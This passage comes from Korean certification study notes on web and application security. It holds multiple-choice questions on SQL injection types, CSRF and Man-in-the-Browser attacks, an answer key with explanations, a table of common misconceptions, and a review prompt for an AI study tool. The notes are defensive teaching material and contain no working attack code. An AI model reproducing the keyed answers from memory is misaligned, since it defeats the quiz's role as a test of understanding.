① ServerTokens Prod ② Options Indexes ③ TraceEnable Off ④ AllowOverride None
4. 화면에 아무 데이터도 출력되지 않고 참/거짓에 따른 페이지 차이도 없을 때, SLEEP()나 WAITFOR DELAY를 이용해 정보를 추론하는 공격은?
① Union-based SQL Injection ② Error-based SQL Injection ③ Time-based SQL Injection ④ Mass SQL Injection
5. SQL Injection 대응으로 가장 거리가 먼 것은? ① 바인드 변수를 사용하는 Prepared Statement ② 서버 측 입력값 화이트리스트 검증 ③ DB 오류 메시지를 사용자에게 상세히 출력 ④ 웹 애플리케이션 DB 계정의 최소 권한
6. 다음 설명에 해당하는 공격은? "로그인한 사용자가 공격자의 게시글을 열자, 사용자 모르게 비밀번호 변경 요청이 정상 사이트로 전송되어 처리되었다." ① Stored XSS ② CSRF ③ SSRF ④ Credential Stuffing
7. 브라우저에 설치된 악성 확장 프로그램이 인터넷뱅킹 이체 화면의 계좌번호를 바꿔 치는 공격과, 이를 줄이는 대책의 짝으로 옳은 것은? ① MITM — HTTPS 적용 ② Man-in-the-Browser — 거래연동 OTP ③ Tabnabbing — HttpOnly ④ SSRF — CSRF 토큰
정답과 해설
| # | 정답 | 해설 (판별 축) |
|---|---|---|
| 1 | ③ | 403은 권한 없음 (인가), 서버 내부 오류는 500. 401 ↔ 403 = 인증 ↔ 인가(큰 축 ⑥) |
| 2 | ② | HttpOnly = 스크립트로 읽기 금지 . Secure는 HTTPS 전송 제한(스니핑 대응) |
| 3 | ② | Indexes가 리스팅. ①은 버전 숨김, ③은 TRACE 차단, ④는 .htaccess 무시 |
| 4 | ③ | 축 3(결과가 보이는가)의 Blind 쪽, 그중 시간 차이 를 쓰는 것. Union · Error는 In-band, Mass는 대량 변조 |
| 5 | ③ | 상세 오류는 Error-based 공격의 재료 . ①②④는 예방 대책 |
| 6 | ② | 축 4: 사용자 브라우저가 사용자 권한으로 위조 요청 = CSRF. 스크립트가 쿠키를 빼내면 XSS, 서버가 요청하면 SSRF |
| 7 | ② | 브라우저 내부 에서 변조 → TLS 무력, 거래 내용에 묶인 OTP로 확인. MITM은 네트워크 경로 |
부록 A. 스스로 확인하기
| # | 질문 | 답이 있는 곳 |
|---|---|---|
| 1 | Cookie와 Set-Cookie는 각각 요청 · 응답 중 어디에 있나? PUT · TRACE가 위험한 이유는? | 1.1, 1.2, 1.4 |
| 2 | 401과 403의 차이는? 500번대 장애에서 먼저 볼 곳은? | 1.3, 2.2 |
| 3 | Secure · HttpOnly · SameSite는 각각 무엇을 막나? SOAP · WSDL · UDDI의 관계는? | 1.5, 1.6 |
| 4 | 디렉터리 리스팅 · 버전 노출 · 업로드 크기 설정 지시어는? access_log에 POST 공격이 안 보이는 이유는? | 2.1, 2.2 |
| 5 | OWASP 2017 · 2021 · 2025에 새로 들어온 항목은? | 3 |
| 6 | SQLi 다섯 유형을 "결과가 보이는가"로 나누면? DBMS별 주석은? | 4.1 |
| 7 | XSS · CSRF · SSRF를 "어디서 실행되나 / 누가 요청하나"로 구분하면? | 4.3, 5.2 |
| 8 | Credential Stuffing과 무차별 대입, MitB와 MITM의 경계는? | 5.3 |
| 9 | 업로드 대응 네 가지와 틀린 대응은? RFI를 막는 PHP 설정은? | 6.1, 6.2 |
| 10 | SecRuleEngine과 SecAuditEngine의 값은 각각 무엇을 뜻하나? | 7 |
부록 B. 자주 하는 실수 · 함정
| 실수 | 바로잡기 |
|---|---|
| "POST는 암호화된다" | ❌ 본문에 담길 뿐. 기밀성은 HTTPS |
| "403 = 로그인이 필요하다" | ❌ 그건 401 . 403은 권한 없음 |
| "HttpOnly는 HTTPS 전송만 허용" | ❌ 그건 Secure . HttpOnly는 스크립트 읽기 금지 |
| "XSS는 서버를 공격한다" | ❌ 브라우저(사용자) 에서 실행 |
| "CSRF는 공격자 스크립트를 실행한다" | ⚠️ 핵심은 사용자 권한으로 위조 요청 전송 |
| "Blind SQLi는 결과가 화면에 나온다" | ❌ 참/거짓 · 시간 차이로 추론 |
| "상태코드 200이면 공격이 실패한 것" | ❌ 요청이 처리됐다는 뜻. 공격 성공일 수도 |
| "업로드 파일명은 순번으로" | ❌ 추측 불가 난수 |
| "MitB는 HTTPS로 막는다" | ❌ 암호화 전 브라우저 안에서 변조 |
| "DetectionOnly면 공격을 차단한다" | ❌ 탐지 · 기록만 |
부록 C. AI · NotebookLM 복습 프롬프트
이 13번 노트(웹 · 앱 보안)만 근거로 4지선다 8문제를 내줘. 노트 밖 내용은 쓰지 마.
HTTP 상태코드, 쿠키 속성, Options Indexes, SQLi 유형(특히 Time-based), XSS/CSRF/SSRF 구분, 업로드 대응, MitB는 반드시 포함해줘.
내가 답하면 채점하고, 오답 보기가 0절의 어느 축 반대편에 있는지 절 번호와 함께 설명해줘.
LangTailor